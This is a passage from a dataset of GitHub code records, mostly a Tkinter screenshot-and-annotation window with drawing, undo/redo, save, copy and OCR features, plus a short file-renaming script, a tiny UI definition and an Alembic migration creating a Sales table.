offset))\n        self.bind(f\"<{key_right}>\", lambda event: self.move_menu.handle_right_stretch(event, offset))\n        self.bind(f\"<{key_down}>\", lambda event: self.move_menu.handle_down_stretch(event, offset))\n\n    def bind_change_element_width(self):\n        self.bind(f\"<MouseWheel>\", self.change_element_width)\n\n    def disable_mouse_selection(self, event=None):\n        self.bind_undo()\n        self.canvas.unbind(\"<Button-1>\")\n        self.canvas.unbind(\"<B1-Motion>\")\n        self.canvas.unbind(\"<ButtonRelease-1>\")\n\n    def bind_draw_mouse_events(self, event=None):\n        self.canvas.bind(\"<Button-1>\", self.start_draw)\n        self.canvas.bind(\"<B1-Motion>\", self.update_draw)\n        self.canvas.bind(\"<ButtonRelease-1>\", self.create_menus)\n\n    def change_element_width(self, event):\n        if self.drawing_element is not None:\n            self.drawing_element.change_width(event.delta / 120)\n            self.drawing_element.create()\n            self.move_menu.rise()\n            self.canvas.tag_raise(\"drawing_selection\")\n\n    ##\n    def start_selection(self, event):\n        self.destroy_menus()\n        self.move_menu.destroy()\n        self.selection_rect.set_coordinates(start_x=event.x, start_y=event.y)\n\n    def update_selection(self, event):\n        self.selection_rect.set_coordinates(end_x=event.x, end_y=event.y)\n        self.selection_rect.create()\n\n    ##\n\n    def start_draw(self, event):\n        self.destroy_menus()\n        self.move_menu.destroy()\n        self.drawing_element.set_coordinates(start_x=event.x, start_y=event.y)\n        self.drawing_selection.set_coordinates(start_x=event.x, start_y=event.y)\n        if type(self.drawing_element).__name__ == \"Text\":\n            self.drawing_element.set_coordinates(end_x=event.x + 25, end_y=event.y + 15)\n            self.drawing_selection.set_coordinates(end_x=event.x + 25, end_y=event.y + 15)\n            self.drawing_element.create()\n\n    def update_draw(self, event):\n\n        if type(self.drawing_element).__name__ == \"Text\":\n            self.drawing_element.set_coordinates(start_x=event.x, start_y=event.y)\n            self.drawing_selection.set_coordinates(start_x=event.x, start_y=event.y)\n            self.drawing_element.set_coordinates(end_x=event.x + 25, end_y=event.y + 15)\n            self.drawing_selection.set_coordinates(end_x=event.x + 25, end_y=event.y + 15)\n        else:\n            self.drawing_element.set_coordinates(end_x=event.x, end_y=event.y)\n            self.drawing_selection.set_coordinates(end_x=event.x, end_y=event.y)\n        self.drawing_element.create()\n        self.drawing_selection.create()\n\n        self.canvas.tag_raise(self.drawing_selection.get_tags())\n        self.canvas.tag_raise(self.drawing_element.get_tags())\n\n    ##\n    def create_dimming_rectangle(self, event):\n        self.canvas.coords(self.dimming_rect, 0, 0, event.width, event.height)\n\n    def undo_action(self):\n        self.canvas.config(cursor=\"\")\n        if self.undo_stack:\n            element = self.undo_stack.pop()\n            element.destroy()\n\n            self.redo_stack.append(element)\n\n            if len(self.undo_stack) > 0:\n                self.drawing_element = self.undo_stack[-1]\n                element = self.undo_stack[-1]\n\n                if self.current_mode == \"draw\":\n                    self.update_move_menu_and_selection(element)\n            else:\n                self.move_menu.destroy()\n                self.drawing_selection.destroy()\n\n    def redo_action(self):\n        self.canvas.config(cursor=\"\")\n        if self.redo_stack:\n            element = self.redo_stack.pop()\n            element.create()\n            self.undo_stack.append(element)\n            self.drawing_element = element\n\n            if self.current_mode == \"draw\":\n                self.update_move_menu_and_selection(element)\n\n    def update_move_menu_and_selection(self, element):\n        self.move_menu.set_target(element)\n        self.move_menu.create()\n        new_selection_coordinates = element.get_current_corners_coordinates()\n        self.drawing_selection.set_coordinates(\n            start_x=new_selection_coordinates[0][0],\n            start_y=new_selection_coordinates[0][1],\n            end_x=new_selection_coordinates[1][0],\n            end_y=new_selection_coordinates[1][1]\n        )\n        self.drawing_selection.create()\n\n    # Menus\n\n    def create_menus(self, event=None):\n\n        self.selection_rect.expand_to_minimum_size()\n        self.selection_rect.create()\n\n        self.creating_menu()\n        self.move_menu.destroy()\n        if self.current_mode == \"selection\":\n            self.move_menu.set_target(self.selection_rect)\n            self.move_menu.set_mode(\"all\")\n            self.move_menu.set_limits(True)\n            self.move_menu.create()\n            self.destroy_canvas_elements()\n        elif self.current_mode == \"draw\":\n            if type(self.drawing_element).__name__ == \"Text\":\n                self.bind(\"<Key>\", lambda event: self.handle_text_input(event))\n\n            if self.drawing_element is not None:\n                self.move_menu.set_target(self.drawing_element)\n                if type(self.drawing_element).__name__ == \"Text\":\n                    self.move_menu.set_mode(\"move\")\n                else:\n                    self.move_menu.set_mode(\"all\")\n                self.move_menu.set_limits(False)\n                self.move_menu.create()\n\n    def handle_text_input(self, event):\n        if event.keycode == 8:\n            self.drawing_element.subtract()\n        else:\n            self.drawing_element.add(event.char)\n        self.drawing_element.create()\n\n    def creating_menu(self):\n        self.main_menu_position = self.create_menu()\n\n        if self.current_mode == \"draw\":\n            self.create_drawing_element_menu()\n            self.create_color_picker_menu(self.main_menu_position)\n            self.create_draw_menu(self.main_menu_position)\n            if self.drawing_element is not None:\n                corners = self.drawing_element.get_corners_coordinates()\n                self.drawing_selection.set_coordinates(start_x=corners[0][0], start_y=corners[0][1],\n                                                       end_x=corners[1][0], end_y=corners[1][1])\n                self.drawing_selection.create()\n\n        if self.text_menu:\n            self.place_texbox()\n        self.bind_control_l()\n        self.disable_mouse_selection()\n\n    def create_menu(self, event=None):\n        self.destroy_menus()\n\n        corners_coordinates = self.selection_rect.get_corners_coordinates()\n        start_x, end_x = corners_coordinates[0][0], corners_coordinates[1][0]\n        start_y, end_y = corners_coordinates[0][1], corners_coordinates[1][1]\n\n        draw_icon = Image.open(\"images/draw-icon.png\")\n        move_icon = Image.open(\"images/move-icon.jpg\")\n\n        save_icon = Image.open(\"images/save-icon.png\")\n        copy_icon = Image.open(\"images/copy-icon.png\")\n        txt_icon = Image.open(\"images/txt-icon.png\")\n        undo_icon = Image.open(\"images/undo-icon.png\")\n        redo_icon = Image.open(\"images/redo-icon.png\")\n\n        images = None\n        values = None\n\n        if self.current_mode == \"draw\":\n            images = (move_icon, save_icon, copy_icon, undo_icon, redo_icon)\n            values = [\"draw\", \"save\", \"copy\", \"undo\", \"redo\"]\n        elif self.current_mode == \"selection\":\n            images = (draw_icon, save_icon, copy_icon, txt_icon)\n            values = [\"move\", \"save\", \"copy\", \"txt\"]\n\n        self.main_menu = ImageButtonGroup(self, border_width=0, orientation=\"horizontal\",\n                                          values=values, images=images, fg_color=\"gray50\",\n                                          command=self.main_menu_callback)\n\n        possible_positions = [\n            (start_x, start_y - self.main_menu.cget(\"height\") + 5),\n            (end_x - self.main_menu.cget(\"width\"), end_y + 5),\n            (end_x - self.main_menu.cget(\"width\"), start_y - self.main_menu.cget(\"height\") + 5),\n            (start_x, end_y + 5),\n            (end_x - self.main_menu.cget(\"width\"), end_y - self.main_menu.cget(\"height\") + 10)]\n\n        position = self.find_suitable_position(possible_positions, self.main_menu.cget(\"width\"),\n                                               self.main_menu.cget(\"height\"))\n        self.main_menu.place_configure(x=position[0] + 5, y=position[1])\n\n        return position\n\n    def create_draw_menu(self, position):\n        line_icon = Image.open(\"images/line-icon.png\")\n        rectangle_icon = Image.open(\"images/rectangle-icon.png\")\n        circle_icon = Image.open(\"images/circle-icon.png\")\n        textbox_icon = Image.open(\"images/textbox-icon.png\")\n        images = (textbox_icon, line_icon, rectangle_icon, circle_icon)\n        values = [\"text\", \"line\", \"rectangle\", \"circle\"]\n\n        self.draw_menu = ImageButtonGroup(self, border_width=0, orientation=\"horizontal\",\n                                          values=values, images=images, fg_color=\"gray50\",\n                                          command=self.draw_menu_callback)\n\n        possible_positions = [(position[0], position[1] - self.draw_menu.cget(\"height\")),\n                              (position[0], position[1] + self.main_menu.cget(\"height\")-self.main_menu.cget(\"height\")/4)]\n\n        position = self.find_suitable_position(possible_positions, self.main_menu.cget(\"width\"),\n                                               self.main_menu.cget(\"height\"))\n        self.draw_menu.place_configure(x=position[0], y=position[1] + 5)\n\n    def create_drawing_element_menu(self):\n        self.destroy_drawing_element_menu()\n\n        arrow_icon = Image.open(\"images/arrow-icon.png\")\n        dashed_icon = Image.open(\"images/dashed-icon.png\")\n        fill_icon = Image.open(\"images/fill-icon.png\")\n\n        if type(self.drawing_element).__name__ == \"Line\":\n            images = (arrow_icon, dashed_icon)\n            values = [\"arrow\", \"dash\"]\n        elif type(self.drawing_element).__name__ == \"Text\":\n            images = (None,)\n            values = None\n        else:\n            images = (dashed_icon, fill_icon)\n            values = [\"dash\", \"fill\"]\n\n        self.drawing_element_menu = ImageButtonGroup(self, border_width=0, orientation=\"horizontal\",\n                                                     values=values, images=images, fg_color=\"gray50\",\n                                                     command=self.drawing_element_menu_callback)\n\n        self.drawing_element_menu.place_configure(x=0, y=0)\n\n    def create_color_picker_menu(self, position):\n        self.destroy_color_picker_menu()\n        hover_color = self.lighten_color(self.drawing_color)\n        self.color_picker_button = ctk.CTkButton(self, border_width=5, fg_color=self.drawing_color, text=\"\",\n                                                 border_color=\"gray50\", width=25, height=25, bg_color=\"transparent\",\n                                                 hover=True, hover_color=hover_color, command=lambda: self.pick_color())\n        possible_positions = [(position[0] - self.color_picker_button.cget(\"width\"), position[1]),\n                              (position[0] + 5, position[1] - self.color_picker_button.cget(\"height\") - 5 - 1),\n                              (position[0] + 5, position[1] + self.color_picker_button.cget(\"height\") + 5 + 1),\n                              (position[0] - self.color_picker_button.cget(\"width\"), position[1])]\n\n        position = self.find_suitable_position(possible_positions, self.main_menu.cget(\"width\"),\n                                               self.main_menu.cget(\"height\"))\n        self.color_picker_button.place_configure(x=position[0], y=position[1])\n\n    def del_func(self):\n        self.destroy_menus()\n        self.destroy_canvas_elements()\n        self.textbox.place_forget()\n        self.destroy_texbox_menu()\n\n    def lighten_color(self, hex_color: hex, brightness_increase: float = 0.2):\n        red = int(hex_color[1:3], 16)\n        green = int(hex_color[3:5], 16)\n        blue = int(hex_color[5:7], 16)\n\n        red += int((255 - red) * brightness_increase)\n        green += int((255 - green) * brightness_increase)\n        blue += int((255 - blue) * brightness_increase)\n\n        red = min(red, 240)\n        green = min(green, 240)\n        blue = min(blue, 240)\n\n        lightened_color = f\"#{red:02X}{green:02X}{blue:02X}\"\n        return lightened_color\n\n    def find_suitable_position(self, possible_positions, width: int, height: int):\n        for position in possible_positions:\n            x, y = position\n            if self.check_screen_fit(x, y, width, height):\n                return position\n\n        return possible_positions[-1]\n\n    def check_screen_fit(self, x: int, y: int, width: int, height: int):\n        canvas_width = self.canvas.winfo_width()\n        canvas_height = self.canvas.winfo_height()\n\n        return x + width <= canvas_width and y + height <= canvas_height and x >= 0 and y >= 0\n\n    def main_menu_callback(self, value):\n        if value == \"move\":\n            self.current_mode = \"draw\"\n            self.create_menus()\n        elif value == \"draw\":\n            self.current_mode = \"selection\"\n            self.create_menus()\n        elif value == \"save\":\n            self.save_image()\n        elif value == \"copy\":\n            self.copy_image()\n        elif value == \"txt\":\n            self.image_to_txt()\n            self.text_menu = True\n        elif value == \"undo\":\n            self.undo_action()\n        elif value == \"redo\":\n            self.redo_action()\n\n    def draw_menu_callback(self, value):\n        self.bind_draw_mouse_events()\n        self.unselect_drawing_element()\n\n        if value == \"line\":\n            self.drawing_element = Line(self.canvas, color=self.drawing_color, width=2, tags=\"line\", min_size=0,\n                                        is_arrow=self.is_arrow, is_dashed=self.is_dashed)\n            self.undo_stack.append(self.drawing_element)\n        elif value == \"rectangle\":\n            self.drawing_element = Rectangle(self.canvas, color=self.drawing_color, width=2, tags=\"rectangle\",\n                                             min_size=1, is_dashed=self.is_dashed, is_filled=self.is_filled)\n            self.undo_stack.append(self.drawing_element)\n        elif value == \"circle\":\n            self.drawing_element = Circle(self.canvas, color=self.drawing_color, width=2, tags=\"circle\", min_size=1,\n                                          is_dashed=self.is_dashed, is_filled=self.is_filled)\n            self.undo_stack.append(self.drawing_element)\n        elif value == \"text\":\n            self.drawing_element = Text(self.canvas, color=self.drawing_color, tags=\"text\", min_size=1)\n            self.undo_stack.append(self.drawing_element)\n        self.create_drawing_element_menu()\n\n    def drawing_element_menu_callback(self, value):\n        if value == \"arrow\":\n            if self.drawing_element is not None:\n                self.drawing_element.switch_arrow()\n            self.is_arrow = self.flip_flap(self.is_arrow)\n        elif value == \"dash\":\n            if self.drawing_element is not None:\n                self.drawing_element.switch_dash()\n            self.is_dashed = self.flip_flap(self.is_dashed)\n        elif value == \"fill\":\n            if self.drawing_element is not None:\n                self.drawing_element.switch_fill()\n            self.is_filled = self.flip_flap(self.is_filled)\n        if self.drawing_element is not None:\n            self.drawing_element.create()\n            self.move_menu.create()\n\n    def texbox_menu_callback(self, value):\n        if value == \"copy\":\n            text = self.textbox.get(\"0.0\", \"end\")\n            pyperclip.copy(text)\n        elif value == \"close\":\n            self.text_menu = False\n            self.textbox.place_forget()\n            self.destroy_texbox_menu()\n\n    def flip_flap(self, value: bool):\n        return False if value else True\n\n    #\n\n    def pick_color(self):\n        self.attributes(\"-topmost\", False)\n\n        drawing_color = colorchooser.askcolor()\n        if drawing_color[1] is not None:\n            self.drawing_color = drawing_color[1]\n\n        self.attributes(\"-topmost\", True)\n        self.create_color_picker_menu(self.main_menu_position)\n\n        if self.drawing_element is not None:\n            self.drawing_element.set_color(self.drawing_color)\n            self.drawing_element.create()\n            self.move_menu.create()\n\n    def save_image(self, event=None):\n        corners_coordinates = self.selection_rect.get_corners_coordinates()\n        start_x, end_x = corners_coordinates[0][0], corners_coordinates[1][0]\n        start_y, end_y = corners_coordinates[0][1], corners_coordinates[1][1]\n\n        width = self.selection_rect.get_width()\n        height = self.selection_rect.get_height()\n\n        self.unbind_mouse()\n\n        self.move_menu.destroy()\n        self.destroy_menus()\n        self.destroy_canvas_elements()\n\n        selection = self.canvas.find_withtag(\"selection\")\n        self.canvas.itemconfig(selection, width=0)\n        self.attributes(\"-topmost\", False)\n        ticks = str(time.time()).replace('.', '')[:13]\n        default_filename = f\"{ticks}_screenshot.png\"\n        save_path = asksaveasfilename(defaultextension='', filetypes=[(\"All Files\", \"*.*\")],\n                                      initialfile=default_filename, parent=self)\n\n        def delay_and_screenshot():\n            time.sleep(0.2)\n            screenshot = pyautogui.screenshot()\n            screenshot = screenshot.crop((start_x, start_y, start_x + width, start_y + height))\n            screenshot = screenshot.resize((int(width * 2), int(height * 2)))\n            if save_path:\n                screenshot.save(save_path)\n            self.attributes(\"-topmost\", True)\n            if not self.holding_shift_l and save_path:\n                self.destroy_window()\n\n        screenshot_thread = threading.Thread(target=delay_and_screenshot)\n        screenshot_thread.start()\n\n        self.after(100, self.create_menus)\n\n    def copy_image(self, event=None):\n        corners_coordinates = self.selection_rect.get_corners_coordinates()\n        start_x, end_x = corners_coordinates[0][0], corners_coordinates[1][0]\n        start_y, end_y = corners_coordinates[0][1], corners_coordinates[1][1]\n\n        width = self.selection_rect.get_width()\n        height = self.selection_rect.get_height()\n\n        self.unbind_mouse()\n\n        self.move_menu.destroy()\n        self.destroy_menus()\n        self.destroy_canvas_elements()\n\n        selection = self.canvas.find_withtag(\"selection\")\n        self.canvas.itemconfig(selection, width=0)\n\n        def delay_and_screenshot():\n            time.sleep(0.1)\n            screenshot = pyautogui.screenshot()\n            screenshot = screenshot.crop(\n                (start_x, start_y, start_x + width, start_y + height))\n            copy_screenshot_to_clipboard(screenshot)\n            self.destroy_window()\n\n        screenshot_thread = threading.Thread(target=delay_and_screenshot)\n        screenshot_thread.start()\n\n    def image_to_txt(self, event=None):\n        corners_coordinates = self.selection_rect.get_corners_coordinates()\n        start_x, end_x = corners_coordinates[0][0], corners_coordinates[1][0]\n        start_y, end_y = corners_coordinates[0][1], corners_coordinates[1][1]\n\n        width = self.selection_rect.get_width()\n        height = self.selection_rect.get_height()\n\n        self.unbind_mouse()\n\n        self.move_menu.destroy()\n        self.destroy_menus()\n        self.destroy_canvas_elements()\n\n        selection = self.canvas.find_withtag(\"selection\")\n        self.canvas.itemconfig(selection, width=0)\n\n        def delay_and_screenshot():\n            time.sleep(0.1)\n            screenshot = pyautogui.screenshot()\n            screenshot = screenshot.crop(\n                (start_x, start_y, start_x + width, start_y + height))\n\n            pytesseract.pytesseract.tesseract_cmd = \"D:/tesseract/tesseract.exe\"\n            text = pytesseract.image_to_string(screenshot)\n            textbox_width = self.selection_rect.get_width() - self.selection_rect.get_width() / 5\n            textbox_height = self.selection_rect.get_height() - self.selection_rect.get_height() / 5\n\n            textbox_width = min(self.canvas.winfo_width() / 2 - self.canvas.winfo_width() / 5, textbox_width)\n            textbox_height = min(self.canvas.winfo_height() / 2 - self.canvas.winfo_height() / 5, textbox_height)\n\n            self.textbox.configure(width=textbox_width,\n                                   height=textbox_height)\n\n            self.textbox.insert(\"0.0\", text)\n\n            self.place_texbox()\n\n            self.create_menus()\n\n        screenshot_thread = threading.Thread(target=delay_and_screenshot)\n        screenshot_thread.start()\n\n    # Destroy\n    def create_texbox_menu(self, texbox_position):\n        self.destroy_texbox_menu()\n\n        close_icon = Image.open(\"images/close-icon.png\")\n        copy_icon = Image.open(\"images/copy-icon.png\")\n\n        images = (copy_icon, close_icon)\n        values = [\"copy\", \"close\"]\n\n        self.texbox_menu = ImageButtonGroup(self, border_width=0, orientation=\"horizontal\",\n                                            values=values, images=images, fg_color=\"gray50\",\n                                            command=self.texbox_menu_callback)\n\n        possible_positions = [\n            (texbox_position[0],\n             texbox_position[1] + self.textbox.cget(\"height\") + self.textbox.cget(\"height\") / 5 + self.texbox_menu.cget(\n                 \"height\") / 4),\n            (texbox_position[0] + self.textbox.cget(\"width\") + self.textbox.cget(\"width\") / 5 - self.texbox_menu.cget(\n                \"width\"),\n             texbox_position[1] + self.textbox.cget(\"height\") + self.textbox.cget(\"height\") / 5 - self.texbox_menu.cget(\n                 \"height\") / 2)\n        ]\n\n        position = self.find_suitable_position(possible_positions, self.texbox_menu.cget(\"width\"),\n                                               self.texbox_menu.cget(\"height\"))\n        self.texbox_menu.place_configure(x=position[0] + 5, y=position[1])\n\n        return position\n\n    def place_texbox(self):\n        coordinates = self.selection_rect.get_corners_coordinates()\n\n        possible_positions = [(coordinates[0][0], coordinates[1][1]),\n                              (coordinates[1][0], coordinates[0][1]),\n                              (coordinates[0][0] - self.textbox.cget(\"width\") - self.selection_rect.get_width() / 5,\n                               coordinates[0][1]),\n                              (coordinates[0][0] - self.textbox.cget(\"width\") - self.selection_rect.get_width() / 5,\n                               self.canvas.winfo_height() - self.textbox.cget(\"height\")),\n                              (coordinates[1][0], self.canvas.winfo_height() - self.textbox.cget(\"height\")),\n                              (coordinates[0][0], coordinates[0][1])]\n\n        position = self.find_suitable_position(possible_positions,\n                                               self.textbox.cget(\"width\") + self.textbox.cget(\"width\") / 5,\n                                               self.textbox.cget(\"height\") + self.textbox.cget(\"height\") / 5)\n\n        self.textbox.place_configure(x=position[0], y=position[1])\n\n        self.create_texbox_menu(position)\n\n    def destroy_menus(self):\n        items_to_destroy = {\n            \"main_menu\": self.main_menu,\n            \"color_picker_button\": self.color_picker_button,\n            \"draw_menu\": self.draw_menu,\n            \"drawing_element_menu\": self.drawing_element_menu,\n        }\n        for attr_name, item in items_to_destroy.items():\n            if item is not None:\n                item.destroy()\n                setattr(self, attr_name, None)\n\n    def destroy_canvas_elements(self):\n        items_to_destroy = [self.drawing_selection]\n        for item in items_to_destroy:\n            if item is not None:\n                item.destroy()\n\n    def destroy_color_picker_menu(self):\n        items_to_destroy = {\n            \"color_picker_button\": self.color_picker_button,\n        }\n        for attr_name, item in items_to_destroy.items():\n            if item is not None:\n                item.destroy()\n                setattr(self, attr_name, None)\n\n    def destroy_texbox_menu(self):\n        items_to_destroy = {\n            \"texbox_menu\": self.texbox_menu,\n        }\n        for attr_name, item in items_to_destroy.items():\n            if item is not None:\n                item.destroy()\n                setattr(self, attr_name, None)\n\n    def destroy_drawing_element_menu(self):\n        items_to_destroy = {\n            \"drawing_element_menu\": self.drawing_element_menu,\n        }\n        for attr_name, item in items_to_destroy.items():\n            if item is not None:\n                item.destroy()\n                setattr(self, attr_name, None)\n\n    def unselect_drawing_element(self):\n        self.move_menu.destroy()\n        self.drawing_selection.destroy()\n        self.drawing_element = None\n        self.unbind(\"<Key>\")\n\n    def destroy_window(self, event=None):\n        self.destroy()\n", "repo_name": "Joll-d/scrinJ", "sub_path": "GUI/screen_window.py", "file_name": "screen_window.py", "file_ext": "py", "file_size_in_byte": 32385, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "customtkinter.CTkToplevel", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pyautogui.screenshot", "line_number": 32, "usage_type": "call"}, {"api_name": "PIL.ImageTk.PhotoImage", "line_number": 33, "usage_type": "call"}, {"api_name": "PIL.ImageTk", "line_number": 33, "usage_type": "name"}, {"api_name": "customtkinter.CTkCanvas", "line_number": 35, "usage_type": "call"}, {"api_name": "customtkinter.BOTH", "line_number": 36, "usage_type": "attribute"}, {"api_name": "custom_widgets.canvas.rectangle_outside_dimming.RectangleOutsideDimming", "line_number": 53, "usage_type": "call"}, {"api_name": "customtkinter.CTkTextbox", "line_number": 60, "usage_type": "call"}, {"api_name": "custom_widgets.move_menu.MoveMenu", "line_number": 65, "usage_type": "call"}, {"api_name": "pyautogui.screenshot", "line_number": 68, "usage_type": "call"}, {"api_name": "custom_widgets.canvas.rectangle.Rectangle", "line_number": 74, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 356, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 356, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 357, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 357, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 359, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 359, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 360, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 360, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 361, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 361, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 362, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 362, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 363, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 363, "usage_type": "name"}, {"api_name": "custom_widgets.button_group.ImageButtonGroup", "line_number": 375, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 393, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 393, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 394, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 394, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 395, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 395, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 396, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 396, "usage_type": "name"}, {"api_name": "custom_widgets.button_group.ImageButtonGroup", "line_number": 400, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 414, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 414, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 415, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 415, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 416, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 416, "usage_type": "name"}, {"api_name": "custom_widgets.button_group.ImageButtonGroup", "line_number": 428, "usage_type": "call"}, {"api_name": "customtkinter.CTkButton", "line_number": 437, "usage_type": "call"}, {"api_name": "custom_widgets.canvas.line.Line", "line_number": 509, "usage_type": "call"}, {"api_name": "custom_widgets.canvas.rectangle.Rectangle", "line_number": 513, "usage_type": "call"}, {"api_name": "custom_widgets.canvas.circle.Circle", "line_number": 517, "usage_type": "call"}, {"api_name": "custom_widgets.canvas.text.Text", "line_number": 521, "usage_type": "call"}, {"api_name": "pyperclip.copy", "line_number": 545, "usage_type": "call"}, {"api_name": "tkinter.colorchooser.askcolor", "line_number": 559, "usage_type": "call"}, {"api_name": "tkinter.colorchooser", "line_number": 559, "usage_type": "name"}, {"api_name": "time.time", "line_number": 588, "usage_type": "call"}, {"api_name": "tkinter.filedialog.asksaveasfilename", "line_number": 590, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 594, "usage_type": "call"}, {"api_name": "pyautogui.screenshot", "line_number": 595, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 604, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 627, "usage_type": "call"}, {"api_name": "pyautogui.screenshot", "line_number": 628, "usage_type": "call"}, {"api_name": "handlers.clipboard_handler.copy_screenshot_to_clipboard", "line_number": 631, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 634, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 655, "usage_type": "call"}, {"api_name": "pyautogui.screenshot", "line_number": 656, "usage_type": "call"}, {"api_name": "pytesseract.pytesseract", "line_number": 660, "usage_type": "attribute"}, {"api_name": "pytesseract.image_to_string", "line_number": 661, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 677, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 684, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 684, "usage_type": "name"}, {"api_name": "PIL.Image.open", "line_number": 685, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 685, "usage_type": "name"}, {"api_name": "custom_widgets.button_group.ImageButtonGroup", "line_number": 690, "usage_type": "call"}]}
{"seq_id": "31890632548", "text": "import os\nfrom pathlib import Path\n# my_file = 'my_file.txt'\n# base = os.path.splitext(my_file)[0]\n# print(base)\n# os.rename(my_file, base + '.bin')\n\n# Get the list of all files and directories\npath = \"C://vdo from tube//\"\ndir_list = os.listdir(path)\n# dir_list = path+str(dir_list)\n# dir_list = dir_list.sort(key=os.path.getctime)\nlists = (enumerate(dir_list))\n\n# files = []\n# for i in dir_list:\n#     paths = path+str(i)\n#     files.append(paths)\n#     print(paths)\n\n# sorting by Created time\npaths = sorted(Path(path).iterdir(), key=os.path.getmtime) \npathss = (enumerate(paths))\nfor count, filename in pathss:\n    src =f\"{filename}\"  # pathname/filename, if .py file is outside path\n    \n    # pathname/filename, if .py file is outside path\n    dst =f\"{os.path.dirname(filename )}\\{count+1} {Path(filename).name}\"  \n    print(src)\n    print(dst)\n    \n    # rename() function will\n    # rename all the files\n    os.rename(src, dst)", "repo_name": "amanwild/Rename-file-name", "sub_path": "Rename.py", "file_name": "Rename.py", "file_ext": "py", "file_size_in_byte": 934, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.listdir", "line_number": 10, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pathlib.Path", "line_number": 28, "usage_type": "call"}, {"api_name": "os.rename", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "29416733702", "text": "import modules as mx\n\n### OBJECTS ###\nalert = mx.C()\nalertText = mx.T()\n\n### CONTENT ###\nalert.content = [alertText]\n\n### PROPERTIES ###\nalert.id = 'alert'\nalert.background_color = 'rgba(255, 255, 255, 0.9)'\nalertText.id = 'alertText'", "repo_name": "drebarrera/WebGen-Projects", "sub_path": "files/Portfolio/alert.py", "file_name": "alert.py", "file_ext": "py", "file_size_in_byte": 234, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "modules.C", "line_number": 4, "usage_type": "call"}, {"api_name": "modules.T", "line_number": 5, "usage_type": "call"}]}
{"seq_id": "10761449332", "text": "\"\"\"empty message\n\nRevision ID: 93312191ad25\nRevises: b956fe03918b\nCreate Date: 2018-12-01 23:43:01.288123\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '93312191ad25'\ndown_revision = 'b956fe03918b'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('Sales',\n    sa.Column('id', sa.Integer(), nullable=False),\n    sa.Column('user_id', sa.Integer(), nullable=True),\n    sa.Column('item_id', sa.Integer(), nullable=True),\n    sa.Column('num_item', sa.Integer(), nullable=True),\n    sa.Column('amount', sa.Float(), nullable=True),\n    sa.ForeignKeyConstraint(['item_id'], ['products.id'], ),\n    sa.ForeignKeyConstraint(['user_id'], ['users.id'], ),\n    sa.PrimaryKeyConstraint('id')\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('Sales')\n    # ### end Alembic commands ###\n", "repo_name": "cavalcantteme/ProjetoWebFlask", "sub_path": "Baggulho/migrations/versions/93312191ad25_.py", "file_name": "93312191ad25_.py", "file_ext": "py", "file_size_in_byte": 1019, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "alembic.op.create_table", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 22, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 23, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 24, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 25, "usage_type": "call"}, 